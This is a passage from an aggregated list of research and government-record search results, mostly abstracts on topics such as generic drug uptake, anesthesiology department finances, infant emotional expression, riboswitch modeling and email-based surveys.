To evaluate the effectiveness of four alternative interventions (member mailings, advertising campaigns, free generic drug samples to physicians, and physician financial incentives) used by a major health insurer to encourage its members to switch to generic drugs. Using claim-level data from Blue Cross Blue Shield of Michigan, we evaluated the success of four interventions implemented during 2000-2003 designed to increase the use of generic drugs among its members. Around 13 million claims involving seven important classes of drugs were used to assess the effectiveness of the interventions. For each intervention a control group was developed that most closely resembled the corresponding intervention group. Logistic regression models with interaction effects between the treatment group (intervention versus control) and the status of the intervention (active versus not active) were used to evaluate if the interventions had an effect on the generic dispensing rate (GDR). Because the mail order pharmacy was considered more aggressive at converting prescriptions to generics, separate generic purchasing models were fitted to retail and mail order claims. In secondary analyses separate models were also fitted to claims involving a new condition and claims refilled for preexisting conditions. The interventions did not appear to increase the market penetration of generic drugs for either retail or mail order claims, or for claims involving new or preexisting conditions. In addition, we found that the ratio of copayments for brand name to generic drugs had a large positive effect on the GDR. The interventions did not appear to directly influence the GDR. Financial incentives expressed to consumers through benefit designs have a large influence on their switching to generic drugs and on the less-costly mail-order mode of purchase.

Five-year follow-up on the work force and finances of United States anesthesiology training programs: 2000 to 2005.

PubMed

Tremper, Kevin K; Shanks, Amy; Morris, Michelle

2007-04-01

In the middle 1990s, there was a decrease in anesthesiology residency class sizes, which contributed to a nationwide shortage of anesthesiologists, resulting in a competitive market with increased salary demands. In 1999, a nationwide survey of the financial status of United States anesthesiology training programs was conducted. Follow-up surveys have been conducted each year thereafter. We present the results of the sixth survey in this series. Surveys were distributed by e-mail to the anesthesiology department chairs of the United States Training Programs. Responses were also received by e-mail. One hundred twenty-one departments were surveyed with a response rate of 60%. The 87% of departments seeking at least one additional faculty had an average of 2.8 faculty open positions (5.5% open positions overall which is down from 9.7% in 2000). Of the 96% of departments that employ certified registered nurse anesthetists (CRNAs) 89% were seeking additional CRNAs, averaging 3.6 open positions. The average department received $4.9 million (or $116,000/faculty) in institutional support. When the portion of this support allocated for CRNA salaries was removed, the average department received $4.1 million (or $95,000/faculty) in institutional support. This is a 16% increase over the previous year. Faculty academic time averaged 17% (where 20% is 1 d/wk). Departments billed an average of 11,320 anesthesia units/faculty/yr. Although the average anesthesia unit value collected was $31, departments required approximately $40/U to meet expenses. Medicaid payments averaged $15, ranging from $5 to $30/U. These results demonstrate the continuing need for institutional support to keep anesthesiology training departments financially stable.

Expressing the sense of the House of Representatives that the United States Postal Service should take all appropriate measures to ensure the continuation of its 6-day mail delivery service.

THOMAS, 112th Congress

Rep. Graves, Sam [R-MO-6

2011-03-02

House - 03/18/2011 Referred to the Subcommittee on Federal Workforce, U.S. Postal Service, and Labor Policy. (All Actions) Tracker: This bill has the status IntroducedHere are the steps for Status of Legislation:

76 FR 17448 - Subpart A (“General Provisions”) and Subpart B (“Confined and Enclosed Spaces and Other Dangerous...

Federal Register 2010, 2011, 2012, 2013, 2014

2011-03-29

..., messenger, or courier service: When using this method, you must submit your comments and attachments to the... for submitting comments. Facsimile: If your comments, including attachments, are not longer than 10... Avenue, NW., Washington, DC 20210. Deliveries (hand, express mail, messenger, and courier service) are...

77 FR 18973 - Reinforced Concrete in Construction, and Preventing Backover Injuries and Fatalities

Federal Register 2010, 2011, 2012, 2013, 2014

2012-03-29

... mail, express delivery, hand (courier) delivery, or messenger service. Submit a copy of comments and... delivery, or messenger service. The hours of operation for the OSHA Docket Office are 8:15 a.m.-4:45 p.m.... General Reinforcing Safety F. Impalement G. Training H. Injuries I. Economic Issues J. References I...

76 FR 74781 - Sawgrass Storage LLC; Notice of Availability of the Environmental Assessment for the Proposed...

Federal Register 2010, 2011, 2012, 2013, 2014

2011-12-01

... Affairs, at (866) 208-FERC, or on the FERC Web site ( http://www.ferc.gov ) using the eLibrary link. Click... Midcontinent Express Pipeline's interstate pipeline system; and appurtenant facilities. The FERC staff mailed... interested individuals and groups; newspapers and libraries in the project area; and parties to this...

77 FR 41547 - Medicare Program; Home Health Prospective Payment System Rate Update for Calendar Year 2013...

Federal Register 2010, 2011, 2012, 2013, 2014

2012-07-13

... comment period. 3. By express or overnight mail. You may send written comments to the following address..., generally beginning approximately 3 weeks after publication of a document, at the headquarters of the... Reconciliation Act of 1987, Pub. L. 100-2-3, enacted December 22, 1987 OCESAA Omnibus Consolidated and Emergency...

75 FR 43235 - Medicare Program; Home Health Prospective Payment System Rate Update for Calendar Year 2011...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-07-23

... comment period. 3. By express or overnight mail. You may send written comments to the following address... approximately 3 weeks after publication of a document, at the headquarters of the Centers for Medicare... 2. Regulatory Update 3. Statutory Update 4. Outlier Cap 5. Loss Sharing Ratio and Fixed Dollar Ratio...

STS-49 MS Thornton, in LES, at the CCT side hatch during JSC egress exercises

NASA Technical Reports Server (NTRS)

1992-01-01

STS-49 Endeavour, Orbiter Vehicle (OV) 105, Mission Specialist (MS) Kathryn C. Thornton, wearing launch and entry suit (LES) and with foot propped on open side hatch, prepares to enter JSC's Crew Compartment Trainer (CCT) located in the Mockup and Integration Laboratory (MAIL) Bldg 9. Thornton along with other STS-49 crewmembers is participating in post-landing emergency egress training. Photo taken by NASA JSC contract photographer Mark Sowa.

Computational Analysis Identifies Putative Prognostic Biomarkers of Pathological Scarring in Skin Wounds

DTIC Science & Technology

2018-02-20

in/zero/1.0/) applies to the data made available in this article, unless otherwise stated. Background Cutaneous hypertrophic scars (HTSs) are a common...of Open Access Journal of Translational Medicine *Correspondence: jaques.reifman.civ@mail.mil 1 Department of Defense Biotechnology High ...MCMR-TT, 504 Scott Street, Ft. Detrick, MD 21702, USA Full list of author information is available at the end of the article Page 2 of 13Nagaraja et al

Measuring success in creating a "culture of health".

PubMed

Crimmins, Timothy J; Halberg, Julia

2009-03-01

To develop and test methodology to measure employees attitudes regarding worksite health promotion. These values and attitudes are described as a "culture of health" and are believed to motivate behavior changes toward improved health outcomes. This survey tool was designed to determine the value and degree of support that employees have for health improvement initiatives at a large food company. The "Total You Health Values Survey" administered by an outside vendor (Sirota) was sent by e-mail to 4674 headquarters and research and development employees with an explanation of the survey and instructions for completion. The survey was open 14 days and there were no incentives for completion. The survey consisted of three demographic questions, one open ended comment section and 14 core questions in three categories: Supportive Environment, Healthy Lifestyle Attitudes, and Knowledge and Behavior. Employees were guaranteed confidentiality and anonymity. There were 3339 responses, a 71% response rate. Ninety-one percent of respondents said that encouraging healthy lifestyles is a General Mills priority and 97% said they know the steps needed to stay healthy. We were able to develop and implement a simple measurement tool to measure the success of our health promotion activities using an e-mail based questionnaire. In the employee population surveyed, we found that there was broad support for health promotion. We believe that this simple survey tool can be used by other employers to measure their organizational "culture of health."

Lithium ameliorates open-field and elevated plus maze behaviors, and brain phospho-glycogen synthase kinase 3-beta expression in fragile X syndrome model mice.

PubMed

Chen, Xi; Sun, Weiwen; Pan, Ying; Yang, Quan; Cao, Kaiyi; Zhang, Jin; Zhang, Yizhi; Chen, Mincong; Chen, Feidi; Huang, Yueling; Dai, Lijun; Chen, Shengqiang

2013-10-01

To investigate whether lithium modifies open-field and elevated plus maze behavior, and brain phospho-glycogen synthase kinase 3 (P-GSK3beta) expression in Fmr1 knockout mice. One hundred and eighty FVB mice, including knockout and wild type, with an age of 30 days were used. An open-field and elevated plus maze was utilized to test behavior, while western blot was used to measure the P-GSK3beta expression. Six groups were formed: control (saline), lithium chloride 30, 60, 90, 120, and 200 mg/kg. The experiments were carried out in the Institute of Neuroscience, Second Affiliated Hospital of Guangzhou Medical University, Guangzhou, China between January and June 2012. Lithium significantly decreased total distance, crossing, central area time, and center entry in the open-field test (p<0.05), and significantly reduced open-arm tracking, open-arm entry, and open-arm time in the elevated plus maze (p<0.05) in knockout mice. In wild type mice, significant changes were observed in both behavior tests in some treatment groups. Lithium ameliorated P-GSK3beta expression in the hippocampus of all the treatment groups in knockout mice (p<0.05). However, lithium did not modify either GSK3beta expression in tissues of knockout mice, or P-GSK3beta or GSK3beta expression in tissues of wild type mice. Lithium ameliorated open-field and elevated plus maze behaviors of Fmr1 knockout mice. This effect may be related to its enhancement of P-GSK3beta expression. Our findings suggest that lithium might have a therapeutic effect in fragile X syndrome.

Emotional Expression and Heart Rate in High-Risk Infants during the Face-To-Face/Still-Face

PubMed Central

Mattson, Whitney I.; Ekas, Naomi V.; Lambert, Brittany; Tronick, Ed; Lester, Barry M.; Messinger, Daniel S.

2013-01-01

In infants, eye constriction—the Duchenne marker—and mouth opening appear to index the intensity of both positive and negative facial expressions. We combined eye constriction and mouth opening that co-occurred with smiles and cry-faces (respectively, the prototypic expressions of infant joy and distress) to measure emotional expression intensity. Expression intensity and heart rate were measured throughout the Face-to-Face/Still Face (FFSF) in a sample of infants with prenatal cocaine exposure who were at risk for developmental difficulties. Smiles declined and cry-faces increased in the still-face episode, but the distribution of eye constriction and mouth opening in smiles and cry-faces did not differ across episodes of the FFSF. As time elapsed in the still face episode potential indices of intensity increased, cry-faces were more likely to be accompanied by eye constriction and mouth opening. During cry-faces there were also moderately stable individual differences in the quantity of eye constriction and mouth opening. Infant heart rate was higher during cry-faces and lower during smiles, but did not vary with intensity of expression or by episode. In sum, infants express more intense negative affect as the still-face progresses, but do not show clear differences in expressive intensity between episodes of the FFSF. PMID:24095807

Emergency room management of ureteral calculi: current practices.

PubMed

Phillips, Elizabeth; Kieley, Sam; Johnson, Elizabeth B; Monga, Manoj

2009-06-01

To evaluate current practice patterns in U.S. emergency departments (EDs) for the diagnosis, treatment, and counseling of patients with ureteral calculi. Hospital-based ED physicians were invited by e-mail to participate in a Survey-Monkey survey. E-mails were delivered in March 2008 by Direct Medical Data using a listserv provided by the American Medical Association. Of the e-mails sent, 173 e-mails were opened, and 135 physicians responded. Physicians were compensated with a $10 Amazon.com gift card. Ninety percent of ED physicians use noncontrast CT as their initial imaging modality, and 63% use alpha-blockers for medical expulsive therapy. Only 13% of evaluated EDs have guidelines for the management of renal colic, and only 58% of these guidelines that recommend the use of an alpha-blocker. Alpha-blocker use was more common with physicians who have been practicing fewer than 5 years (81%) compared with those with more than 10 years of experience (56%). The majority of physicians used ketorolac and morphine to achieve effective analgesia. Although the average responses concerning the chance of spontaneous stone passage for stones 4 mm (44%) were close to evidence-based values, great variation in the answers was noted (standard deviations: 12% and 22%, respectively). Indeed, 38% of respondents stated that stones 95% chance of passage. Twenty-eight percent of ED physicians would arrange follow-up with a primary care physician, while the remainder would arrange follow-up with a urologist. This study establishes a need for educational opportunities for ED physicians in the management of renal colic. The development of collaborative practice guidelines between urology and emergency medicine associations may be warranted.

Incidence, Etiology and Risk Factors for Travelers Diarrhea during a Hospital Ship-Based Military Humanitarian Mission: Continuing Promise 2011 (Open Access Publishers Version)

DTIC Science & Technology

2016-05-12

RESEARCH ARTICLE Incidence, Etiology and Risk Factors for Travelers ’ Diarrhea during a Hospital Ship- Based Military Humanitarian Mission: Continuing...Development Foundation, Bali, Indonesia ☯ These authors contributed equally to this work. *mark.s.riddle10.mil@mail.mil Abstract Travelers ’ diarrhea (TD) is...the most common ailment affecting travelers , including deployed U.S. military. Continuing Promise 2011 was a 5-month humanitarian assistance/disaster

Establishing Reader Involvement in Transnational Marketing Communications: Relative Focus on Speech-Like or Written-Like Strategy.

ERIC Educational Resources Information Center

Frank, Jane

A study examined the use of three linguistic features imitating speech found in two groups of direct-mail marketing texts, in order to show differences in the ways U.S.-based and transnational efforts exploit readers' expectations regarding "literate" versus "oral" modes of expression. Two groups of sales letters, 25 U.S.-based…

76 FR 40987 - Medicare Program; Home Health Prospective Payment System Rate Update for Calendar Year 2012

Federal Register 2010, 2011, 2012, 2013, 2014

2011-07-12

... comments to be received before the close of the comment period. 3. By express or overnight mail. You may... they are received, generally beginning approximately 3 weeks after publication of a document, at the.... Background 2. Regulatory Update 3. Statutory Update 4. Loss-Sharing Ratio and Fixed Dollar Loss (FDL) Ratio 5...

32 CFR 536.75 - Claims payable under the Military Claims Act.

Code of Federal Regulations, 2010 CFR

2010-07-01

... when: (1) Caused by an act or omission of military personnel or civilian employees of the DA or DOD... lease (express, implied, or otherwise). See § 536.34(m) and paragraph 2-15m of DA Pam 27-162. (2... expressly assumed the risk of damage or loss. (3) Registered or insured mail in the DA's possession, even...

STS-26 MS Hilmers during egress training at JSC's MAIL full fuselage trainer

NASA Technical Reports Server (NTRS)

1988-01-01

STS-26 Discovery, Orbiter Vehicle (OV) 103, Mission Specialist (MS) David C. Hilmers, wearing a launch and entry suit (LES) and launch and entry helmet (LEH), tries out the new crew escape system (CES) inflated slide during an emergency egress training exercise in JSC's Shuttle Mockup and Integration Laboratory (MAIL) Bldg 9A. Technicians stand on either side of the slide ready to help Hilmers to his feet once he reaches the bottom. Watching from floor level at the far left is astronaut Steven R. Nagel. A second crewmember stands in the open side hatch of the Full Fuselage Trainer (FFT) awaiting his turn to slide to 'safety'. During Crew Station Review (CSR) #3, the crew donned the new (navy blue) partial pressure suits (LESs) and checked out CES slide and other CES configurations to evaluate crew equipment and procedures related to emergency egress methods and proposed crew escape options. The CES pole extends out the side hatch just above Hilmers' head.

[Diagnosis of Hansen's disease].

PubMed

Yotsu, Rie Roselyne; Suzuki, Koichi; Mori, Shuichi; Ishii, Norihisa

2011-02-01

The Leprosy Mailing List (LML) is an e-mailing list open to whoever interested in the field from all over the world. It acts as a forum for exchanging information related to Hansen's disease. It was established in February 2001 in Italy, and the present moderator of the LML is Dr. Salvatore Noto. He and his colleague have recently introduced an atlas for diagnosing Hansen's disease which they brought together information and photos collected through the LML. The atlas is divided into three sections, (1) Introduction, (2) Cardinal signs, and (3) Diagnosis and the clinical spectrum of leprosy, and they are all accompanied with relevant photos. This time, Dr. Noto kindly permitted us to translate the atlas into Japanese to be published in the Japanese Journal of Leprosy and posted in the Japanese Leprosy Association homepage. This article includes the translation and some of the most informative photos. For more information, please refer to the homepage where you will find all photos in the atlas.

Cooperative Electronic Mail: Effective Communication Technology for Introductory Chemistry

NASA Astrophysics Data System (ADS)

Pence, Laura E.

1999-05-01

One drawback to using cooperative learning in the classroom is that it takes up class time and reduces the amount of content that can be covered during a semester. Cooperative electronic mail is an excellent alternate method of using cooperative learning that shifts the medium of interaction to the computer and encourages students to learn to communicate effectively through technology. In this project, three types of exercises were assigned, one prior to each exam. These three assignments were (i) an open-ended question, (ii) a traditional cooperative activity done electronically, and (iii) an exercise to allow students to write exam questions for each other. The average participation rate in the exercises was 90% over four semesters, which indicated that the project was an effective incentive to get students to use email regularly. The evaluations of the project were also extremely positive. One surprising result of the assessment was that female students gave even more favorable responses than men, suggesting that this project was an excellent way to encourage women to use computer technology.

Breastfeeding trends at a Community Breastfeeding Center: an evaluative survey.

PubMed

Adams, C; Berger, R; Conning, P; Cruikshank, L; Doré, K

2001-01-01

To evaluate the Community Breastfeeding Center's (CBC) impact on clients' breastfeeding experiences. Retrospective survey; participants were mailed a questionnaire. A hospital-based drop-in center operated jointly by the Wellington-Dufferin-Guelph Health Unit and Headwaters Health Care Center and offering professional breastfeeding support and peer interaction. The 164 mothers of singleton births, both inpatients and community clients, who attended the CBC during a 10-month period in 1996-1997 and completed a survey. A mailed survey with forced-choice and open-ended questions. Of the respondents, 90.9% rated their overall CBC experience as excellent or good. Seventy-three percent of respondents breastfed for 4 months or longer. Primiparae and mothers of preterm infants tended to visit the CBC more frequently, while achieving duration rates similar to other subgroups. Returning to work was the reason most frequently cited for stopping breastfeeding (35%). The CBC is an effective community support strategy to lengthen breastfeeding duration and enhance clients' satisfaction with their breastfeeding experience.

Emotional expression and heart rate in high-risk infants during the face-to-face/still-face.

PubMed

Mattson, Whitney I; Ekas, Naomi V; Lambert, Brittany; Tronick, Ed; Lester, Barry M; Messinger, Daniel S

2013-12-01

In infants, eye constriction-the Duchenne marker-and mouth opening appear to index the intensity of both positive and negative facial expressions. We combined eye constriction and mouth opening that co-occurred with smiles and cry-faces (respectively, the prototypic expressions of infant joy and distress) to measure emotional expression intensity. Expression intensity and heart rate were measured throughout the face-to-face/still-face (FFSF) in a sample of infants with prenatal cocaine exposure who were at risk for developmental difficulties. Smiles declined and cry-faces increased in the still-face episode, but the distribution of eye constriction and mouth opening in smiles and cry-faces did not differ across episodes of the FFSF. As time elapsed in the still face episode potential indices of intensity increased, cry-faces were more likely to be accompanied by eye constriction and mouth opening. During cry-faces there were also moderately stable individual differences in the quantity of eye constriction and mouth opening. Infant heart rate was higher during cry-faces and lower during smiles, but did not vary with intensity of expression or by episode. In sum, infants express more intense negative affect as the still-face progresses, but do not show clear differences in expressive intensity between episodes of the FFSF. Copyright © 2013 Elsevier Inc. All rights reserved.

SwiSpot: modeling riboswitches by spotting out switching sequences.

PubMed

Barsacchi, Marco; Novoa, Eva Maria; Kellis, Manolis; Bechini, Alessio

2016-11-01

Riboswitches are cis-regulatory elements in mRNA, mostly found in Bacteria, which exhibit two main secondary structure conformations. Although one of them prevents the gene from being expressed, the other conformation allows its expression, and this switching process is typically driven by the presence of a specific ligand. Although there are a handful of known riboswitches, our knowledge in this field has been greatly limited due to our inability to identify their alternate structures from their sequences. Indeed, current methods are not able to predict the presence of the two functionally distinct conformations just from the knowledge of the plain RNA nucleotide sequence. Whether this would be possible, for which cases, and what prediction accuracy can be achieved, are currently open questions. Here we show that the two alternate secondary structures of riboswitches can be accurately predicted once the 'switching sequence' of the riboswitch has been properly identified. The proposed SwiSpot approach is capable of identifying the switching sequence inside a putative, complete riboswitch sequence, on the basis of pairing behaviors, which are evaluated on proper sets of configurations. Moreover, it is able to model the switching behavior of riboswitches whose generated ensemble covers both alternate configurations. Beyond structural predictions, the approach can also be paired to homology-based riboswitch searches. SwiSpot software, along with the reference dataset files, is available at: http://www.iet.unipi.it/a.bechini/swispot/Supplementary information: Supplementary data are available at Bioinformatics online. a.bechini@ing.unipi.it. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

Gene Expression Analysis of Mouse Embryonic Stem Cells Following Levitation in an Ultrasound Standing Wave Trap

PubMed Central

Bazou, Despina; Kearney, Roisin; Mansergh, Fiona; Bourdon, Celine; Farrar, Jane; Wride, Michael

2011-01-01

In the present paper, gene expression analysis of mouse embryonic stem (ES) cells levitated in a novel ultrasound standing wave trap (USWT) (Bazou et al. 2005a) at variable acoustic pressures (0.08–0.85 MPa) and times (5–60 min) was performed. Our results showed that levitation of ES cells at the highest employed acoustic pressure for 60 min does not modify gene expression and cells maintain their pluripotency. Embryoid bodies (EBs) also expressed the early and late neural differentiation markers, which were also unaffected by the acoustic field. Our results suggest that the ultrasound trap microenvironment is minimally invasive as the biologic consequences of ES cell replication and EB differentiation proceed without significantly affecting gene expression. The technique holds great promise in safe cell manipulation techniques for a variety of applications including tissue engineering and regenerative medicine. (E-mail: Bazoud@tcd.ie) PMID:21208732

Unipept web services for metaproteomics analysis.

PubMed

Mesuere, Bart; Willems, Toon; Van der Jeugt, Felix; Devreese, Bart; Vandamme, Peter; Dawyndt, Peter

2016-06-01

Unipept is an open source web application that is designed for metaproteomics analysis with a focus on interactive datavisualization. It is underpinned by a fast index built from UniProtKB and the NCBI taxonomy that enables quick retrieval of all UniProt entries in which a given tryptic peptide occurs. Unipept version 2.4 introduced web services that provide programmatic access to the metaproteomics analysis features. This enables integration of Unipept functionality in custom applications and data processing pipelines. The web services are freely available at http://api.unipept.ugent.be and are open sourced under the MIT license. Unipept@ugent.be Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

Inequalities in Open Source Software Development: Analysis of Contributor's Commits in Apache Software Foundation Projects.

PubMed

Chełkowski, Tadeusz; Gloor, Peter; Jemielniak, Dariusz

2016-01-01

While researchers are becoming increasingly interested in studying OSS phenomenon, there is still a small number of studies analyzing larger samples of projects investigating the structure of activities among OSS developers. The significant amount of information that has been gathered in the publicly available open-source software repositories and mailing-list archives offers an opportunity to analyze projects structures and participant involvement. In this article, using on commits data from 263 Apache projects repositories (nearly all), we show that although OSS development is often described as collaborative, but it in fact predominantly relies on radically solitary input and individual, non-collaborative contributions. We also show, in the first published study of this magnitude, that the engagement of contributors is based on a power-law distribution.

Inequalities in Open Source Software Development: Analysis of Contributor’s Commits in Apache Software Foundation Projects

PubMed Central

2016-01-01

While researchers are becoming increasingly interested in studying OSS phenomenon, there is still a small number of studies analyzing larger samples of projects investigating the structure of activities among OSS developers. The significant amount of information that has been gathered in the publicly available open-source software repositories and mailing-list archives offers an opportunity to analyze projects structures and participant involvement. In this article, using on commits data from 263 Apache projects repositories (nearly all), we show that although OSS development is often described as collaborative, but it in fact predominantly relies on radically solitary input and individual, non-collaborative contributions. We also show, in the first published study of this magnitude, that the engagement of contributors is based on a power-law distribution. PMID:27096157

Management of non-progressive dysarthria: practice patterns of speech and language therapists in the Republic of Ireland.

PubMed

Conway, Aifric; Walshe, Margaret

2015-01-01

Dysarthria is a commonly acquired speech disorder. Rising numbers of people surviving stroke and traumatic brain injury (TBI) mean the numbers of people with non-progressive dysarthria are likely to increase, with increased challenges for speech and language therapists (SLTs), service providers and key stakeholders. The evidence base for assessment and intervention approaches with this population remains limited with clinical guidelines relying largely on clinical experience, expert opinion and limited research. Furthermore, there is currently little evidence on the practice behaviours of SLTs available. To investigate whether SLTs in the Republic of Ireland (ROI) vary in how they assess and manage adults with non-progressive dysarthria; to explore SLTs' use of the theoretical principles that influence therapeutic approaches; to identify challenges perceived by SLTs when working with adults with non-progressive dysarthria; and to determine SLTs' perceptions of further training needs. A 33-item survey questionnaire was devised and disseminated electronically via SurveyMonkey to SLTs working with non-progressive dysarthria in the ROI. SLTs were identified through e-mail lists for special-interest groups, SLT manager groups and general SLT mailing lists. A reminder e-mail was sent to all SLTs 3 weeks later following the initial e-mail containing the survey link. The survey remained open for 6 weeks. Questionnaire responses were analysed using descriptive statistics. Qualitative comments to open-ended questions were analysed through thematic analysis. Eighty SLTs responded to the survey. Sixty-seven of these completed the survey in full. SLTs provided both quantitative and qualitative data regarding their assessment and management practices in this area. Practice varied depending on the context of the SLT service, experience of SLTs and the resources available to them. Not all SLTs used principles such as motor programming or neural plasticity to direct clinical work and some requested further direction in this area. SLTs perceived that the key challenges associated with working in this area were the compliance, insight and motivation of adults with dysarthria. The use of specific treatment programmes varies amongst SLTs. A lack of resources is reported to restrict practice in both assessment and management. Ongoing research into the effectiveness of SLT interventions with adults with non-progressive dysarthria is required to guide clinical decision-making. SLTs identified further training needs which may provide direction for the development of professional training courses in the future. © 2015 Royal College of Speech and Language Therapists.

Distance education for tobacco reduction with Inuit frontline health workers.

PubMed

Collins, Rob; Hammond, Merryl; Carry, Catherine L; Kinnon, Dianne; Killulark, Joan; Nevala, Janet

2013-01-01

Tobacco reduction is a major priority in Canadian Inuit communities. However, many Inuit frontline health workers lacked the knowledge, confidence and support to address the tobacco epidemic. Given vast distances, high costs of face-to-face training and previous successful pilots using distance education, this method was chosen for a national tobacco reduction course. To provide distance education about tobacco reduction to at least 25 frontline health workers from all Inuit regions of Canada. Promising practices globally were assessed in a literature survey. The National Inuit Tobacco Task Group guided the project. Participants were selected from across Inuit Nunangat. They chose a focus from a "menu" of 6 course options, completed a pre-test to assess individual learning needs and chose which community project(s) to complete. Course materials were mailed, and trainers provided intensive, individualized support through telephone, fax and e-mail. The course ended with an open-book post-test. Follow-up support continued for several months post-training. Of the 30 participants, 27 (90%) completed the course. The mean pre-test score was 72% (range: 38-98%). As the post-test was done using open books, everyone scored 100%, with a mean improvement of 28% (range: 2-62%). Although it was often challenging to contact participants through phone, a distance education approach was very practical in a northern context. Learning is more concrete when it happens in a real-life context. As long as adequate support is provided, we recommend individualized distance education to others working in circumpolar regions.

76 FR 9702 - Shortpaid and Unpaid Information-Based Indicia (IBI) Postage and Shortpaid Express Mail Postage...

Federal Register 2010, 2011, 2012, 2013, 2014

2011-02-22

... days from the date that the Postal Service sends the revenue deficiency electronic notification to pay... associated with the mailpiece. After 14 days, if a mailer has not taken action to pay or dispute a revenue... associated with the mailpiece. After 7 days, if a mailer has not taken action to pay or appeal the revenue...

Evaluation of Iranian Students in the United States and Their Returnability to the Islamic Republic of Iran.

ERIC Educational Resources Information Center

Arasteh, Hamid

This study focused on Iranian students in the United States and factors influencing their decision to stay in the United States or return to the Islamic Republic of Iran after completion of their studies. Data were gathered via a mail survey of 130 Iranian students. Results indicated that almost 70 percent of respondents expressed intentions to…

RImmPort: an R/Bioconductor package that enables ready-for-analysis immunology research data.

PubMed

Shankar, Ravi D; Bhattacharya, Sanchita; Jujjavarapu, Chethan; Andorf, Sandra; Wiser, Jeffery A; Butte, Atul J

2017-04-01

: Open access to raw clinical and molecular data related to immunological studies has created a tremendous opportunity for data-driven science. We have developed RImmPort that prepares NIAID-funded research study datasets in ImmPort (immport.org) for analysis in R. RImmPort comprises of three main components: (i) a specification of R classes that encapsulate study data, (ii) foundational methods to load data of a specific study and (iii) generic methods to slice and dice data across different dimensions in one or more studies. Furthermore, RImmPort supports open formalisms, such as CDISC standards on the open source bioinformatics platform Bioconductor, to ensure that ImmPort curated study datasets are seamlessly accessible and ready for analysis, thus enabling innovative bioinformatics research in immunology. RImmPort is available as part of Bioconductor (bioconductor.org/packages/RImmPort). rshankar@stanford.edu. Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com

An Age-Related Dissociation of Short-Term Memory for Facial Identity and Facial Emotional Expression.

PubMed

Hartley, Alan A; Ravich, Zoe; Stringer, Sarah; Wiley, Katherine

2015-09-01

Memory for both facial emotional expression and facial identity was explored in younger and older adults in 3 experiments using a delayed match-to-sample procedure. Memory sets of 1, 2, or 3 faces were presented, which were followed by a probe after a 3-s retention interval. There was very little difference between younger and older adults in memory for emotional expressions, but memory for identity was substantially impaired in the older adults. Possible explanations for spared memory for emotional expressions include socioemotional selectivity theory as well as the existence of overlapping yet distinct brain networks for processing of different emotions. © The Author 2013. Published by Oxford University Press on behalf of The Gerontological Society of America. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

Optimization of territory control of the mail carrier by using Hungarian methods

NASA Astrophysics Data System (ADS)

Supian, S.; Wahyuni, S.; Nahar, J.; Subiyanto

2018-03-01

In this paper, the territory control of the mail carrier from the central post office Bandung in delivering the package to the destination location was optimized by using Hungarian method. Sensitivity analysis against data changes that may occur was also conducted. The sampled data in this study are the territory control of 10 mail carriers who will be assigned to deliver mail package to 10 post office delivery centers in Bandung. The result of this research is the combination of territory control optimal from 10 mail carriers as follows: mail carrier 1 to Cikutra, mail carrier 2 to Ujung Berung, mail carrier 3 to Dayeuh Kolot, mail carrier 4 to Padalarang, mail carrier 5 to Situ Saeur, mail carrier 6 to Cipedes, mail carrier 7 to Cimahi, mail carrier 8 to Soreang, mail carrier 9 to Asia-Afrika, mail carrier 10 to Cikeruh. Based on this result, manager of the central post office Bandung can make optimal decisions to assign tasks to their mail carriers.

The influence of context on distinct facial expressions of disgust.

PubMed

Reschke, Peter J; Walle, Eric A; Knothe, Jennifer M; Lopez, Lukas D

2018-06-11

Face perception is susceptible to contextual influence and perceived physical similarities between emotion cues. However, studies often use structurally homogeneous facial expressions, making it difficult to explore how within-emotion variability in facial configuration affects emotion perception. This study examined the influence of context on the emotional perception of categorically identical, yet physically distinct, facial expressions of disgust. Participants categorized two perceptually distinct disgust facial expressions, "closed" (i.e., scrunched nose, closed mouth) and "open" (i.e., scrunched nose, open mouth, protruding tongue), that were embedded in contexts comprising emotion postures and scenes. Results demonstrated that the effect of nonfacial elements was significantly stronger for "open" disgust facial expressions than "closed" disgust facial expressions. These findings provide support that physical similarity within discrete categories of facial expressions is mutable and plays an important role in affective face perception. (PsycINFO Database Record (c) 2018 APA, all rights reserved).

Cytologic diagnosis: expression of probability by clinical pathologists.

PubMed

Christopher, Mary M; Hotz, Christine S

2004-01-01

Clinical pathologists use descriptive terms or modifiers to express the probability or likelihood of a cytologic diagnosis. Words are imprecise in meaning, however, and may be used and interpreted differently by pathologists and clinicians. The goals of this study were to 1) assess the frequency of use of 18 modifiers, 2) determine the probability of a positive diagnosis implied by the modifiers, 3) identify preferred modifiers for different levels of probability, 4) ascertain the importance of factors that affect expression of diagnostic certainty, and 5) evaluate differences based on gender, employment, and experience. We surveyed 202 clinical pathologists who were board-certified by the American College of Veterinary Pathologists (Clinical Pathology). Surveys were distributed in October 2001 and returned by e-mail, fax, or surface mail over a 2-month period. Results were analyzed by parametric and nonparametric tests. Survey response rate was 47.5% (n = 96) and primarily included clinical pathologists at veterinary schools (n = 58) and diagnostic laboratories (n = 31). Eleven of 18 terms were used "often" or "sometimes" by >/= 50% of respondents. Broad variability was found in the probability assigned to each term, especially those with median values of 75 to 90%. Preferred modifiers for 7 numerical probabilities ranging from 0 to 100% included 68 unique terms; however, a set of 10 terms was used by >/= 50% of respondents. Cellularity and quality of the sample, experience of the pathologist, and implications of the diagnosis were the most important factors affecting the expression of probability. Because of wide discrepancy in the implied likelihood of a diagnosis using words, defined terminology and controlled vocabulary may be useful in improving communication and the quality of data in cytology reporting.

Six-year follow-up on work force and finances of the United States anesthesiology training programs: 2000 to 2006.

PubMed

Kheterpal, Sachin; Tremper, Kevin K; Shanks, Amy; Morris, Michelle

2009-01-01

